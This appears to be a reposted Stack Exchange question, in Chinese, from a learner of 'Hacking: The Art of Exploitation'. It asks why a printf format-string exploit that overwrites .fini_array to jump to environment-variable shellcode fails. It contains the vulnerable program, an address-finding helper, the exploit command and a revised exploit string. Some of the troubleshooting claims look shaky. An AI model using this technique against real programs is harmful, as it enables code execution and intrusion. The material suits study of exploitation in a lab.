为何无法通过printf漏洞覆盖fini_array执行Shellcode?
格式化字符串漏洞覆盖fini_array执行Shellcode失败问题
问题描述
正在学习《Hacking: The art of Exploitation》,处理DTORS/CTORS章节内容时,发现新版GCC使用init_array/fini_array替代了传统DTORS数组。现有一个存在printf格式化漏洞的程序,尝试通过漏洞覆盖fini_array地址执行Shellcode,但操作后未获取到Shell,已关闭ASLR,寻求问题排查与解决方法。
漏洞程序(vuln.c)
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if (argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print: \n"); printf("%s\n", text); printf("The wrong way to print: \n"); printf(text); printf("[DEBUG] test_val @ %p = %d %08x\n", &test_val, test_val, test_val); return 0; }
编译命令:
gcc -m32 -fno-stack-protector vuln.c -o vuln
Shellcode地址获取(getaddr.c)
将Shellcode设置为环境变量后,使用以下程序获取其地址:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if (argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(1); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; // 修正原代码的括号语法错误 printf("%s is at %p\n", argv[1], ptr); return 0; }
编译命令:
gcc -m32 getadrr.c -o getadrr
执行后得到Shellcode地址为0xffffdfa1。
尝试的操作步骤
- 获取
fini_array地址:通过objdump -s -j .fini_array ./vuln得到地址为0x00003eec,目标是覆盖该地址及后续0x3eee为Shellcode的低16位和高16位。 - 计算填充字节数:在gdb中计算:
(gdb) print 0xdfa1 - 8 $1 = 57241 (gdb) print 0xffff - 0xdfa1 $2 = 8286 - 执行漏洞利用命令:
./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241x%4\$hn%8286x%5\$hn"
问题排查与修正建议
1. 格式化字符串中的填充方式错误
使用%57241x会导致printf从栈上读取未定义参数并以十六进制打印,输出字节数无法准确控制。应替换为%57241c输出固定数量的字符,确保%hn统计的输出字节数符合预期:
./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241c%4\$hn%8286c%5\$hn"
2. Shellcode地址计算错误
原getaddr.c代码存在语法错误(括号未闭合),导致计算出的Shellcode地址不准确。需使用修正后的代码重新编译,获取正确的Shellcode地址。
3. 格式化参数位置验证
需确认%4$hn和%5$hn对应的栈位置是否正确指向写入的两个地址。可通过gdb调试:
- 在
printf(text)处下断点:b main:printf(text) - 运行程序并传入测试格式化字符串,查看栈上布局,确认写入的地址位于第4和第5个可变参数位置。若位置不符,需调整
%n的参数序号。
4. fini_array覆盖目标验证
使用objdump -s -j .fini_array ./vuln确认fini_array的初始值,确保覆盖的是有效的函数指针位置。部分版本GCC中,fini_array可能包含多个条目,需确认覆盖的是第一个条目(程序退出时会依次执行数组中的函数)。
内容的提问来源于stack exchange,提问作者Anas Hadri
相关产品推荐
相关产品推荐

